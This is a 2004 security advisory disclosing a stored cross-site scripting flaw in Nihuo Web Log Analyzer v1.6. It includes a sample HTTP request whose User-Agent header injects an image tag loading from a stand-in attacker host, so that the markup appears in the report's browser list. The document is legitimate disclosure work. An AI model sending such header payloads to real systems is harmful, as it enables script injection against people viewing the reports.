Cross-Site Scripting (XSS) in Nihuo Web Log Analyzer

Cross-Site Scripting (XSS) in Nihuo Web Log Analyzer
Author: Audun Larsen (larsen at xqus dot com)
Date: Aug 20, 2004

Affected software:
==================
Name: Nihuo Web Log Analyzer
URL: http://www.loganalyzer.net/index.html
Version: v1.6 (older versions not tested)
Released: Feb 17, 2004

Vendors description:
====================
Nihuo Web Log Analyzer can generate a wide range of reports and statistics from
your log file - more than 80 different reports with 2D and 3D graphs.

Introduction:
=============
Most developers know that input validation is important. If you look at the
history of PHP-nuke you can see that software that does not check the user
input thoroughly, is insecure.

Discussion:
===========
Many think that http access-log analyzers don't get any input from the user.
But think about it, both the user-agent and the referer header is data that
can be manipulated by the user.
Nihuo Web Log Analyzer is vulnerable to just this type of attack.

Exploit:
========
To exploit Nihuo Web Log Analyzer we have to send a special HTTP request that
includes malicious code.

GET / HTTP/1.1
Host: sample.com
Connection: close
Accept: text/plain
Accept-Language: en-us,en
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
User-Agent: Some-Fake-UA <img src='http://attacker.host.com/app.gif'>

Generating this HTTP request can easily be done in Perl, PHP or any other language.
Generating enough hits with this user-agent will cause the user-agent to appear
in the "Top Browsers" list, with the HTML code
included. Notice that single quotes is used in the User-Agent.

Tested with:
============
Apache 1.3.x
Nihuo Web Log Analyzer v1.6 (Running on Win2k)

Solution:
=========
No solution available at the time writing.
Vendor notified Aug 20, 2004.

Disclaimer:
===========
The information in this advisory and any of its demonstrations is provided "as
is" without warranty of any kind.
Copyright © 2004 Audun Larsen